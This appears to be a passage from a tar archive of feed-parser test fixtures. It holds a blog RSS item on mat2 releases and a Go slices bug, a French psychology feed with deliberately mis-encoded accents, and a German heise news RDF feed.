<li>Make use of python3.7 constructs to simplify code</li>
<li>Use moderner type annotations</li>
<li>Harden <code>get_meta</code> in archive.py against variants of <a href="https://cve.circl.lu/cve/CVE-2022-35410">CVE-2021-35410</a></li>
<li>Improve MSOffice document support</li>
<li>Package the manpage on PyPI.</li>
</ul>
<p>Thanks to <a href="https://anelki.net/">akierig</a>, mat2 is now <a href="https://github.com/macports/macports-ports/pull/18072">available</a> in <a href="https://trac.macports.org/">macports</a>!</p>
<p>As usual, if you know some python help is
<a href="https://0xacab.org/jvoisin/mat2/issues?label_name%5B%5D=good+first+issue">welcome</a>.</p>jvoisinWed, 02 Aug 2023 21:30:00 +0200tag:dustri.org,2023-08-02:/b/mat2-0134.htmlmetadataA sneaky Golang bughttps://dustri.org/b/a-sneaky-golang-bug.html<p>Today at work, I needed a function in <a href="https://go.dev/">Go</a> to remove
duplicates from a slice, and thus wrote something like this using the
<a href="https://go.dev/doc/tutorial/generics">generic</a>-based
<a href="https://pkg.go.dev/golang.org/x/exp/slices">slices</a> package:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">removeDuplicates</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="p">)</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">SortFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="p">)</span>
<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">CompactFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="p">)</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">s</span>
<span class="p">}</span>
</code></pre></div>
<p>Can you spot the bug? Here are the prototypes of the two functions:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">SortFunc</span><span class="p">[</span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">x</span><span class="w"> </span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="w"> </span><span class="nx">b</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span>
<span class="kd">func</span><span class="w"> </span><span class="nx">CompactFunc</span><span class="p">[</span><span class="nx">S</span><span class="w"> </span><span class="o">~</span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">s</span><span class="w"> </span><span class="nx">S</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span><span class="w"> </span><span class="nx">S</span>
</code></pre></div>
<p>The first has no return value, while the second does, unused in our case, hence
the bug. It's <em>interesting</em> to note that the go compiler is perfectly happy
with this, and doesn't issue any warning: it was <em>extraordinarily fun</em> to pinpoint.</p>
<p>I reached out to <a href="https://airs.com/ian/">Ian Lance Taylor</a> who
<a href="https://cs.opensource.google/go/x/exp/+/03df57b9a50843fbf23bf90375d6584bcc8ea13d">implemented</a>
those functions in 2021 and he pointed me to <a href="https://go.dev/blog/slices-intro">Go Slices: usage and internals
</a>. Things indeed do become obvious once
looking at the <a href="https://github.com/golang/go/blob/master/src/runtime/slice.go">implementation of
<code>slice</code></a>:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">type</span><span class="w"> </span><span class="nx">slice</span><span class="w"> </span><span class="kd">struct</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">array</span><span class="w"> </span><span class="nx">unsafe</span><span class="p">.</span><span class="nx">Pointer</span>
<span class="w"> </span><span class="nx">len</span><span class="w"> </span><span class="kt">int</span>
<span class="w"> </span><span class="nx">cap</span><span class="w"> </span><span class="kt">int</span>
<span class="p">}</span>
</code></pre></div>
<p>Both <code>slices.SortFunc</code> and <code>slices.CompactFunc</code> are taking a slice as
parameter, and not a pointer to a slice, meaning that any changes to <code>len</code> and
<code>cap</code> will be local to the function.</p>
<p>Anyway, There is a <a href="https://github.com/golang/go/issues/20803">proposal</a> to require
return values to be explicitly used or ignored open since 2017, but it didn't
go anywhere for now. There is also <a href="https://github.com/golang/go/issues/20148">another proposal</a>
to make <code>go vet</code> better at highlighting error mishandling, as well as <a href="https://github.com/kisielk/errcheck">errcheck</a>,
but those wouldn't really help in this case.</p>jvoisinWed, 02 Aug 2023 13:15:00 +0200tag:dustri.org,2023-08-02:/b/a-sneaky-golang-bug.htmldev v2-2.2.5/internal/reader/parser/testdata/no_encoding_ISO-8859-1.xml 0000664 0000000 0000000 00000012031 14743520056 0024524 0 ustar 00root root 0000000 0000000 Flux RSS du magazine de psychologie Le Cercle Psy
https://le-cercle-psy.scienceshumaines.com/rss
Flux RSS du magazine de psychologie Le Cercle Psy, le magazine de toutes les psychologies.Le Cercle PsyPerturbateurs endocriniens : quels effets sur le cerveau ?
https://le-cercle-psy.scienceshumaines.com/perturbateurs-endocriniens-quels-effets-sur-le-cerveau_sh_39995
Wed, 17 Oct 2018 10:30:00 GMTSi leur impact semble discret au premier abord, nombre d'tudes montrent que les perturbateurs endocriniens pourraient tre l'origine de troubles neuro-dveloppementaux chez l'enfant.Masters en Psycho: une simplificationet#8230; trs complexe
https://le-cercle-psy.scienceshumaines.com/masters-en-psycho-une-simplification-tres-complexe_sh_40065
Wed, 17 Oct 2018 10:30:00 GMTUne nouvelle nomenclature adopte en 2014 a voulu simplifier les options proposes aux tudiants en Master de Psychologie. Mais on en revient des choix aussi illisibles qu'auparavant !La criminalit lie surtout ... l'ennui ?
https://le-cercle-psy.scienceshumaines.com/la-criminalite-liee-surtout-a-l-ennui_sh_39986
Wed, 17 Oct 2018 10:30:00 GMTL'oisivet est mre de tous les vices, dit le proverbe... Certains chercheurs amricains paraissent proches de cette position !Wed, 17 Oct 2018 10:30:00 GMTCaroline Eliacheff : Dolto reste authentiquement subversive
https://le-cercle-psy.scienceshumaines.com/caroline-eliacheff-dolto-reste-authentiquement-subversive_sh_39992
Wed, 17 Oct 2018 10:30:00 GMTFranoise Dolto est morte il y a trente ans. D'abord adule par des gnrations de parents et de collgues, on lui a ensuite reproch d'avoir favoris l'mergence d'enfants-rois tyranniques. Et s'il existait une autre voie ?L'enfant dou : quand trop comprendre... empche parfois de comprendre
https://le-cercle-psy.scienceshumaines.com/l-enfant-doue-quand-trop-comprendre-empeche-parfois-de-comprendre_sh_40004
Wed, 17 Oct 2018 10:30:00 GMTOn ne le rptera jamais assez: raliser le portrait-robot d'un enfant dou頻, surdou頻, haut potentiel, peu importe la qualification choisie, est vain. Cet ouvrage nous rappelle que chaque facilit, talent, comptence ou mme don, peut s'accompagner d'un versant potentiellement plus problmatique. Mais insistons: potentiellement.Travail, organisations, emploi : les modles europens
https://le-cercle-psy.scienceshumaines.com/travail-organisations-emploi-les-modeles-europeens_sh_33090
Wed, 17 Oct 2018 10:30:00 GMTLes pays europens diffrent en matire de performance, de niveau de chmage et de qualit de vie au travail. Certains pays russissent mieux que d'autres et sont pris comme modles. Comment font-ils?Migrants : l'urgence thrapeutique
https://le-cercle-psy.scienceshumaines.com/migrants-l-urgence-therapeutique_sh_39180
Wed, 17 Oct 2018 10:30:00 GMTPousss l'exil par les conflits, la pauvret et l'espoir d'une vie meilleure, les migrants arrivent aprs un long parcours. Beaucoup sont blesss, briss, dsesprs parfois. Quelle rponse pour les aider ?Psy en prison, une mission impossible ?
https://le-cercle-psy.scienceshumaines.com/psy-en-prison-une-mission-impossible_sh_38718
Wed, 17 Oct 2018 10:30:00 GMTDtenus proches de la psychose, manque cruel de moyens, hirarchie intrusive... Les praticiens intervenant en prison n'ont pas un quotidien facile. Retour sur un sacerdoce des temps modernes.Psychologue domicile : de la clinique l'tat brut
https://le-cercle-psy.scienceshumaines.com/psychologue-a-domicile-de-la-clinique-a-l-etat-brut_sh_35540
Wed, 17 Oct 2018 10:30:00 GMTSi tu ne peux pas venir au psychologue, le psychologue viendra toi ! L'intervention domicile demeure une pratique encore peu rpandue chez les psys. En quoi diffre-t-elle d'une consultation ordinaire ?
v2-2.2.5/internal/reader/parser/testdata/rdf_UTF8.xml 0000664 0000000 0000000 00000060373 14743520056 0022354 0 ustar 00root root 0000000 0000000
heise online News
https://www.heise.de/newsticker/
Nachrichten nicht nur aus der Welt der ComputerOLED-TVs: Vorsichtsmaßnahmen gegen Einbrennen
https://www.heise.de/newsticker/meldung/OLED-TVs-Vorsichtsmassnahmen-gegen-Einbrennen-4205274.html?wt_mc=rss.ho.beitrag.rdf
Wer gerade einen neuen OLED-Fernseher gekauft hat oder sich zu Weihnachten einen zuzulegen möchte, sollte unbedingt ein paar Hinweise beachten.Mega-Deal: IBM übernimmt Red Hat
https://www.heise.de/newsticker/meldung/Mega-Deal-IBM-uebernimmt-Red-Hat-4205582.html?wt_mc=rss.ho.beitrag.rdf
Giganten-Hochzeit in den USA: Der Computerkonzern IBM übernimmt den Open-Source-Anbieter Red Hat für umgerechnet 30 Milliarden Euro.Fortnite-Macher: Epic Games soll 15 Milliarden Dollar wert sein
https://www.heise.de/newsticker/meldung/Fortnite-Macher-Epic-Games-soll-15-Milliarden-Dollar-wert-sein-4205522.html?wt_mc=rss.ho.beitrag.rdf
Epic Games konnte bei einer Investionsrunde einige neue Geldgeber von sich überzeugen. Insgesamt flossen 1,25 Milliarden US-Dollar.Erster nichtstaatlicher Raketenstart in China fehlgeschlagen
https://www.heise.de/newsticker/meldung/Erster-nichtstaatlicher-Rekatenstart-in-China-fehlgeschlagen-4205524.html?wt_mc=rss.ho.beitrag.rdf
Die Trägerrakete ZQ-1 hat es wegen unbekannter technischer Probleme nach dem Start nicht in die Erdumlaufbahn geschafft.eARC: Immer mehr Hersteller schalten HDMI-Audio-Rückkanal frei
https://www.heise.de/newsticker/meldung/eARC-Hersteller-schalten-HDMI-Audio-Rueckkanal-frei-4205518.html?wt_mc=rss.ho.beitrag.rdf
Während andere HDMI-2.1-Funktionen auf sich warten lassen, ist der "enhanced Audio Return Channel" nach einem Firmware-Update schon bei AV-Receivern nutzbar.Vorschau: Neue PC-Spiele im November 2018
https://www.heise.de/newsticker/meldung/Vorschau-Neue-PC-Spiele-im-November-2018-4202098.html?wt_mc=rss.ho.beitrag.rdf
Jeden Monat schicken Spiele-Hersteller zahlreiche neue Titel ins Rennen. Wir haben die wichtigsten Spiele-Neuerscheinungen im November herausgesucht.Israelisches Start-up baut faltbares Elektroauto
https://www.heise.de/newsticker/meldung/Israelisches-Start-up-baut-faltbares-Elektroauto-4205501.html?wt_mc=rss.ho.beitrag.rdf
Das zweisitzige Auto kann sein Fahrgestell zum Parken einklappen und passt dann auf einen Motorradparkplatz.Flash-Speicher: WD will Produktion einschränken
https://www.heise.de/newsticker/meldung/Flash-Speicher-WD-will-Produktion-einschraenken-4205498.html?wt_mc=rss.ho.beitrag.rdf
Die Preise für NAND-Flash-Speicher kennen derzeit nur eine Richtung: abwärts. WD will dem mit Produktionseinschränkungen begegnen.LED-Tastatur Aukey KM-G6 im Test: mechanisch, günstig und laut
https://www.techstage.de/news/Mechanische-Tastatur-Aukey-KM-G6-im-Test-guenstig-und-laut-4205068.html?wt_mc=rss.ho.beitrag.rdf
Die Aukey KM-G6 kostet weniger als 50 Euro und zeigt, dass mechanische Tastaturen nicht teuer sein müssen. Wir testen das Keyboard.Einhörner zum Leben erwecken - Kultur-Hackathon in Mainz gestartet
https://www.heise.de/newsticker/meldung/Einhoerner-zum-Leben-erwecken-Kultur-Hackathon-in-Mainz-gestartet-4205490.html?wt_mc=rss.ho.beitrag.rdf
In Museen, Bibliotheken und Archive stecken viele Daten, die sich kreativ nutzen lassen. Programmierer, Designer und Historiker haben sich das vorgenommen.Impressionen von der SPIEL 2018: Gesellschaftsspiele für Nerds und Geeks
https://www.heise.de/newsticker/meldung/Impressionen-von-der-SPIEL-2018-Gesellschaftsspiele-fuer-Nerds-und-Geeks-4205405.html?wt_mc=rss.ho.beitrag.rdf
Weg von Bildschirm und Controller, hin zu Würfeln und Karten. Die SPIEL-Messe zeigt Neuheiten bei IT-affinen Brett-, Karten- und Tabletop-Spielen.Missing Link: Vor 100 Jahren begann die deutsche Revolution
https://www.heise.de/newsticker/meldung/Missing-Link-Vor-100-Jahren-begann-die-deutsche-Revolution-4205422.html?wt_mc=rss.ho.beitrag.rdf
Von den Sturmvögeln zu den Stiefkindern der Revolution: Mit dem Matrosenaufstand startete Deutschland in die erste Republik.4W: Was war. Was wird. Wettrüsten oder Waffelessen, das ist die Frage.
https://www.heise.de/newsticker/meldung/Was-war-Wettruesten-oder-Waffelessen-das-ist-die-Frage-4205432.html?wt_mc=rss.ho.beitrag.rdf
Zeit! Irgendwann gab es sie gar nicht, heute wird sie uns geschenkt. Ja, auch Hal Faber weiß, dass das Quatsch ist. Wie so vieles andere.Kommentar: Vom DNS, aktuellen Hypes, Überwachung und Zensur
https://www.heise.de/newsticker/meldung/Kommentar-Vom-DNS-aktuellen-Hypes-Ueberwachung-und-Zensur-4205380.html?wt_mc=rss.ho.beitrag.rdf
Das DNS ist gereift, es kann mit den Bedrohungen der Überwachung und Zensur umgehen. Eine Antwort von Lutz Donnerhacke auf "Die Gruft DNS gehört ausgelüftet".Microsoft will Militär und Geheimdienste beliefern
https://www.heise.de/newsticker/meldung/Microsoft-will-Militaer-und-Geheimdienste-beliefern-4205383.html?wt_mc=rss.ho.beitrag.rdf
Microsoft ist trotz Protesten von Mitarbeitern bereit, dem Militär und den Geheimdiensten des Landes KI-Systeme und sonstige Technologien zu verkaufen.Zurück zur "Normalzeit": Uhren werden (möglichweise zum letzten Mal) um eine Stunde zurückgestellt
https://www.heise.de/newsticker/meldung/Zurueck-zur-Normalzeit-Uhren-werden-moeglichweise-zum-letzten-Mal-um-eine-Stunde-zurueckgestellt-4205376.html?wt_mc=rss.ho.beitrag.rdf
Die Zeitumstellung könnte bald Geschichte sein. Es gibt aber Bereiche, in denen eine Umstellung sehr aufwendig werden könnte.5G: Seehofer fordert Änderung der Vergaberegeln
https://www.heise.de/newsticker/meldung/5G-Seehofer-fordert-Aenderung-der-Vergaberegeln-4205373.html?wt_mc=rss.ho.beitrag.rdf
Der Bundesinnenminister sieht Bewohner ländlicher Gebiete durch die Ausschreibungsregeln für das 5G-Netz benachteiligt und verlangt Nachbesserungen.Ausstellung erinnert an das Lebenswerk von Konrad Zuse
https://www.heise.de/newsticker/meldung/Ausstellung-erinnert-an-das-Lebenswerk-von-Konrad-Zuse-4205359.html?wt_mc=rss.ho.beitrag.rdf
In Hopferau im Ostallgäu stellte Konrad Zuse seine Rechenmaschine Z4 fertig. Jetzt erinnert eine Ausstellung im Schloss Hopferau an den Computerpionier.Test TrackerID LTS-450: GPS-Flaschenhalter am Fahrrad
https://www.techstage.de/news/Test-TrackerID-LTS-450-GPS-Flaschenhalter-am-Fahrrad-4205272.html?wt_mc=rss.ho.beitrag.rdf
Fahrraddiebe sind blöd, aber nicht dumm: Sehen sie einen GPS-Tracker, entfernen sie ihn. Deswegen tarnt sich der TrackerID LTS-450 in einem Flaschenhalter.Fünf mobile Beamer im Vergleichstest
https://www.techstage.de/news/Fuenf-mobile-Beamer-im-Vergleichstest-4204823.html?wt_mc=rss.ho.beitrag.rdf
In den vergangenen Wochen haben wir uns fünf kompakte Beamer mit integriertem Akku angeschaut. Im Vergleichstest zeigen wir Vor- und Nachteile.In Japan geht ein weiterer Atomreaktor wieder ans Netz
https://www.heise.de/newsticker/meldung/In-Japan-geht-ein-weiterer-Atomreaktor-wieder-ans-Netz-4205351.html?wt_mc=rss.ho.beitrag.rdf
Das Atomkraftwerk Ikata in Japan hat einen Reaktor wieder hochgefahren, gegen dessen Betrieb eine Bürgergruppe geklagt hatte.FlyCroTug: Kleine Drohne mit großer Zugkraft
https://www.heise.de/newsticker/meldung/FlyCroTug-Kleine-Drohne-mit-grosser-Zugkraft-4205335.html?wt_mc=rss.ho.beitrag.rdf
Forscher haben 100 Gramm leichte Minidrohnen entwickelt, die von einem festen Haltepunkt aus das 40-fache ihres Gewichts bewegen können.
Google Office-Programme: Neue Dokumente in Browserzeile anlegen
https://www.heise.de/newsticker/meldung/Google-Docs-Neue-Dokumente-in-Browserzeile-anlegen-4205346.html?wt_mc=rss.ho.beitrag.rdf
Für seine webbasierten Office-Programme hat Google eine praktische Abkürzung direkt in die Anwendungen Docs, Sheets, Slides und Forms veröffentlicht.Wo Hobby-Astronomen den Profis voraus sind
https://www.heise.de/newsticker/meldung/Wo-Hobby-Astronomen-den-Profis-voraus-sind-4205332.html?wt_mc=rss.ho.beitrag.rdf
Hobby-Astronomen leisten einen wertvollen Beitrag zur Wissenschaft, etwa durch das Beobachten veränderlicher Sterne oder die Suche nach Meteoriten.Zahlen geschönt? FBI-Untersuchung gegen Tesla
https://www.heise.de/newsticker/meldung/Zahlen-geschoent-FBI-Untersuchung-gegen-Tesla-4205285.html?wt_mc=rss.ho.beitrag.rdf
Es besteht der Verdacht, dass Tesla Produktionszahlen wissentlich überoptimistisch vorhergesagt hat. Das FBI ermittelt strafrechtlich.c't uplink 24.6: Linux mit UEFI / OLED-Defekte / Dropbox-Alternativen
https://www.heise.de/ct/artikel/c-t-uplink-24-6-Linux-mit-UEFI-OLED-Defekte-Dropbox-Alternativen-4205070.html?wt_mc=rss.ho.beitrag.rdf
Die c't-uplink Show: Dieses Mal mit eingebrannten Logos bei OLED-TVs, Alternativen zu Dropbox und wie man Linux am besten mit UEFI verheiratet.Die Bilder der Woche (KW 43): Von Porträt bis Landschaft
https://www.heise.de/foto/meldung/Die-Bilder-der-Woche-KW-43-Von-Portraet-bis-Landschaft-4204550.html?wt_mc=rss.ho.beitrag.rdf
Blickfang: Unsere Bilder des Tages haben in dieser Woche keine Scheu vor direktem Augenkontakt und Spiegelbildern.BIOS-Option macht ThinkPads zu Briefbeschwerern
https://www.heise.de/newsticker/meldung/BIOS-Option-macht-ThinkPads-zu-Briefbeschwerern-4205185.html?wt_mc=rss.ho.beitrag.rdf
Ein einziger Klick im BIOS-Setup - und einige aktuelle Lenovo-Notebooks starten nicht mehr; eine Lösung des Problems fehlt noch.Markenstreit um “Dash”: Bragi beantragt einstweilige Verfügung gegen Oneplus
https://www.heise.de/newsticker/meldung/Markenstreit-um-Dash-Bragi-beantragt-einstweilige-Verfuegung-gegen-Oneplus-4205223.html?wt_mc=rss.ho.beitrag.rdf
Der Hersteller der smarten Kopfhörer “The Dash” sieht seine Markenrechte durch die Schnelladegeräte der chinesischen Smartphones verletzt.Übernahme von GitHub durch Microsoft abgeschlossen
https://www.heise.de/newsticker/meldung/Uebernahme-von-GitHub-durch-Microsoft-abgeschlossen-4205119.html?wt_mc=rss.ho.beitrag.rdf
Microsofts Übernahme von GitHub ist abgeschlossen. Ab Montag beginnt die Arbeit des neuen CEO Nat Friedman. Er will GitHub für die Entwickler besser machen.Webhosting und Cloud Computing: Aus 1&1 und ProfitBricks wird 1&1 Ionos
https://www.heise.de/newsticker/meldung/Webhosting-und-Cloud-Computing-Aus-1-1-und-ProfitBricks-wird-1-1-Ionos-4205066.html?wt_mc=rss.ho.beitrag.rdf
1&1 bietet seine Webhosting- und Cloud-Produkte künftig unter dem Namen 1&1 Ionos an. Besserer Service soll Unternehmen den Cloud-Start schmackhaft machen.iPhone XR: Die 10 wichtigsten Testergebnisse
https://www.heise.de/mac-and-i/meldung/iPhone-XR-Die-10-wichtigsten-Testergebnisse-4204845.html?wt_mc=rss.ho.beitrag.rdf
Seit heute ist das dritte und günstigste von Apples neuen Smartphones im Handel. Mac & i konnte es bereits testen.Motorola One: Android-One-Smartphone für 299 Euro im Test
https://www.techstage.de/news/Motorola-One-im-Test-Android-One-Smartphone-mit-Notch-4203618.html?wt_mc=rss.ho.beitrag.rdf
Das Motorola One ist ein Smartphone mit schickem Design und Android One als Betriebssystem. Ob und für wen sich der Kauf lohnt, hat TechStage getestet.US Copyright Office: DRM darf für Reparaturen umgangen werden
https://www.heise.de/newsticker/meldung/US-Copyright-Office-DRM-darf-fuer-Reparaturen-umgangen-werden-4205173.html?wt_mc=rss.ho.beitrag.rdf
In den USA ist es künftig legal, den Kopierschutz elektronischer Geräte zu knacken, um etwa sein Smartphone, Auto oder den vernetzten Kühlschrank zu reparieren.Ausprobiert: Haptik-Datenhandschuhe von Senseglove
https://www.heise.de/newsticker/meldung/Ausprobiert-Haptik-Datenhandschuhe-von-Senseglove-4205142.html?wt_mc=rss.ho.beitrag.rdf
Der Senseglove-Datenhandschuh trackt nicht nur jeden Finger, sondern simuliert auch Widerstand und Haptik. Wir haben ihn ausprobiert.Apple News soll "Netflix für Nachrichten" werden
https://www.heise.de/mac-and-i/meldung/Apple-News-soll-Netflix-fuer-Nachrichten-werden-4204886.html?wt_mc=rss.ho.beitrag.rdf
Apple betreibt für seinen hauseigenen Infodienst eine eigene Redaktion – und setzt kaum auf Algorithmen. Im Abo könnten bald diverse Magazine hinzukommen.Xbox One X im 4K-Test: Spaßzentrale für UHD-TVs
https://www.techstage.de/news/Xbox-One-X-im-4K-Test-Spasszentrale-fuer-UHD-TVs-4204803.html?wt_mc=rss.ho.beitrag.rdf
Die aktuelle Xbox One X bewirbt Microsoft als idealen Zuspieler für UHD-Fernseher. Wir haben ihre 4K-Fähigkeiten bei Filmen und Spielen getestet. Red Dead Redemption 2: Die Entschleunigung des Action-Adventures
https://www.heise.de/newsticker/meldung/Red-Dead-Redemption-2-Die-Entschleunigung-des-Action-Adventures-4205034.html?wt_mc=rss.ho.beitrag.rdf
Nach dem Live-Stream: Unsere Eindrücke aus den ersten Stunden des Gaming-Blockbusters Red Dead Redemption 2.Grüne: Netzbetreiber sollen Breitband-Universaldienst finanzieren
https://www.heise.de/newsticker/meldung/Gruene-Netzbetreiber-sollen-Breitband-Universaldienst-finanzieren-4205022.html?wt_mc=rss.ho.beitrag.rdf
Schwarz-Rot will bis spätestens 2025 einen Anspruch auf Breitband für alle gesetzlich verankern. Die Grünen sehen dagegen sofortigen Handlungsbedarf.Programmiersprache: Rust 1.30 will mehr Klarheit schaffen
https://www.heise.de/developer/meldung/Programmiersprache-Rust-1-30-will-mehr-Klarheit-schaffen-4204893.html?wt_mc=rss.ho.beitrag.rdf
Der Umgang mit absoluten Pfaden und neue prozedurale Makros sind die Highlights der aktuellen Rust-Version.Apples Oktober-Event: iPad Pro 2018 und neue Macs vor der Tür
https://www.heise.de/mac-and-i/meldung/Apples-Oktober-Event-iPad-Pro-2018-und-neue-Macs-vor-der-Tuer-4204922.html?wt_mc=rss.ho.beitrag.rdf
Nach der Einführung der iPhones wird sich Apple der Zukunft seiner Computer zuwenden: Wichtige Neuerungen stehen an. Magento-Shops: Verwundbare Add-ons als Schlupfloch für Kreditkarten-Skimmer
https://www.heise.de/security/meldung/Magento-Shops-Verwundbare-Add-ons-als-Schlupfloch-fuer-Kreditkarten-Skimmer-4204828.html?wt_mc=rss.ho.beitrag.rdf
Ein Sicherheitsforscher warnt vor knapp über 20 Add-ons, die Onlineshops basierend auf der Magento-Software angreifbar machen. Atomkraft: Gericht kippt Schließungs-Dekret für Fessenheim
https://www.heise.de/newsticker/meldung/Atomkraft-Gericht-kippt-Schliessungs-Dekret-fuer-Fessenheim-4204853.html?wt_mc=rss.ho.beitrag.rdf
Der Conseil d'État hat zu Gunsten der Gemeinde Fessenheim und der Gewerkschaften entschieden.Qt Design Studio erreicht Version 1.0
https://www.heise.de/developer/meldung/Qt-Design-Studio-erreicht-Version-1-0-4204902.html?wt_mc=rss.ho.beitrag.rdf
Neue Funktionen wie die Qt Photoshop Bridge und zeitachsenbasierte Animationen sollen die Zusammenarbeit von Entwicklern und Designern vereinfachen.Vodafone bringt Mini-Handy von Palm nach Deutschland
https://www.heise.de/newsticker/meldung/Vodafone-bringt-Mini-Handy-von-Palm-nach-Deutschland-4204878.html?wt_mc=rss.ho.beitrag.rdf
Das neue Palm kommt auch in Deutschland auf den Markt: Vodafone bringt das kuriose Mini-Handy exklusiv in den Handel. Xeons und Modems bescheren Intel Rekordquartal
https://www.heise.de/newsticker/meldung/Xeons-und-Modems-bescheren-Intel-Rekordquartal-4204869.html?wt_mc=rss.ho.beitrag.rdf
Starke Nachfrage nach Prozessoren für Cloud-Rechenzentren sowie LTE-Modems lassen bei Intel die Gewinne sprudeln und bescheren gute Aussichten.KI druckt Kunst: Auktionshaus Christie's versteigert KI-Gemälde für 380.000 Euro
https://www.heise.de/newsticker/meldung/KI-druckt-Kunst-Auktionshaus-Christie-s-versteigert-KI-Gemaelde-fuer-380-000-Euro-4204793.html?wt_mc=rss.ho.beitrag.rdf
Das renommierte Auktionshaus Christie's hat erstmals ein von einer KI erschaffenes Bild versteigert. Der Preis war wesentlich höher als erwartet.EU-Parlament verabschiedet Resolution zur Datenschutzuntersuchung bei Facebook
https://www.heise.de/newsticker/meldung/EU-Parlament-verabschiedet-Resolution-zur-Datenschutzuntersuchung-bei-Facebook-4204766.html?wt_mc=rss.ho.beitrag.rdf
Facebook soll mehr Aufklärung über seine Datenschutzpraxis leisten. Das EU-Parlament hat deshalb eine Untersuchung durch EU-Institutionen verabschiedet.IBM setzt auf 277.000 Apple-Geräte
https://www.heise.de/mac-and-i/meldung/IBM-setzt-auf-277-000-Apple-Geraete-4204728.html?wt_mc=rss.ho.beitrag.rdf
Bei IBM stellen Macs inzwischen ein Viertel aller Laptops. Das Open-Source-Tool Mac@IBM soll auch Admins anderer Firmen die Einrichtung erleichtern.heise-Angebot: #TGIQF - das c't-Retroquiz: 8 Bit & mehr
https://www.heise.de/newsticker/meldung/TGIQF-das-c-t-Retroquiz-8-Bit-mehr-4202717.html?wt_mc=rss.ho.beitrag.rdf
C64, ZX Spectrum, Apple II ... die Heimcomputer lösten eine IT-Revolution in den Kinderzimmern aus. Wie viel ist aus der Zeit bei Ihnen hängen geblieben?heise-Angebot: c't Fotografie: Spiegeloses Vollformat im Test
https://www.heise.de/foto/meldung/c-t-Fotografie-Spiegeloses-Vollformat-im-Test-4201826.html?wt_mc=rss.ho.beitrag.rdf
Lange war Sony der einzige Anbieter für spiegellose Vollformatkameras. Mit der Canon EOS R und der Nikon Z-Serie werden die Karten neu gemischt.British-Airways-Hack: 185.000 weitere Kunden betroffen
https://www.heise.de/newsticker/meldung/British-Airways-Hack-185-000-weitere-Kunden-betroffen-4204675.html?wt_mc=rss.ho.beitrag.rdf
Die Fluggesellschaft hat nun bekanntgegeben, dass bis dato Unbekannte Kreditkartendaten von noch mehr Kunden als bislang bekannt kopiert haben.Google: 48 Mitarbeiter wegen sexueller Belästigung gefeuert
https://www.heise.de/newsticker/meldung/Google-48-Mitarbeiter-wegen-sexueller-Belaestigung-gefeuert-4204687.html?wt_mc=rss.ho.beitrag.rdf
Der Weggang von Android-Schöpfer Andy Rubin von Google war wohl nicht freiwillig – ihm wurde sexuelle Nötigung vorgeworfen. Und er war nicht der einzige.Fujitsu schließt Werk in Augsburg
https://www.heise.de/newsticker/meldung/Fujitsu-schliesst-Werk-in-Augsburg-4204722.html?wt_mc=rss.ho.beitrag.rdf
Fujitsu plant einen Konzernumbau. In Augsburg sind davon 1500 Beschäftigte betroffen.Ego-Shooter Metro 2033 bei Steam kostenlos
https://www.heise.de/newsticker/meldung/Metro-2033-ist-bei-Steam-heute-kostenlos-4204706.html?wt_mc=rss.ho.beitrag.rdf
Metro 2033 wird am heutigen Freitag auf Steam kostenlos angeboten. Der Ego-Shooter basiert auf dem gleichnamigen Roman von Dmitri Gluchowski.Lightroom-Alternative: DxO bringt PhotoLab 2
https://www.heise.de/foto/meldung/Lightroom-Alternative-DxO-bringt-PhotoLab-2-4204614.html?wt_mc=rss.ho.beitrag.rdf
PhotoLab gibt es nun in Version 2: Verbessert wurde unter anderem die Bildverwaltung, zudem integriert DxO die von den Nik-Filtern bekannte U-Point-Technologie.Google schaltet Nearby Notifcations in Android ab
https://www.heise.de/developer/meldung/Google-schaltet-Nearby-Notifcations-in-Android-ab-4204667.html?wt_mc=rss.ho.beitrag.rdf
Die Funktion für standortbasierte Benachrichtigungen lieferte wohl mehr Spam als nützliche Inhalte.iPhone XR: Verkaufsstart ohne Ansturm
https://www.heise.de/mac-and-i/meldung/iPhone-XR-Verkaufsstart-ohne-Ansturm-4204679.html?wt_mc=rss.ho.beitrag.rdf
Apple bringt die billigeren und bunten iPhone-Modellreihe in den Handel. Groß anstehen mussten Kunden dafür nicht.
Snapchat: Aktienabsturz durch Nutzerschwund
https://www.heise.de/newsticker/meldung/Snapchat-Aktienabsturz-durch-Nutzerschwund-4204631.html?wt_mc=rss.ho.beitrag.rdf
Snapchat laufen weiterhin die Nutzer weg – und das wird sich vorerst nicht ändern, sagt Snap. Die Aktie stürzte trotz geringerer Verluste um zehn Prozent ab.Mi Mix 3: Xiaomi-Flaggschiff mit Kamera-Slider und 10 GByte RAM
https://www.heise.de/newsticker/meldung/Mi-Mix-3-Xiaomi-Flaggschiff-mit-Kamera-Slider-und-10-GByte-RAM-4204655.html?wt_mc=rss.ho.beitrag.rdf
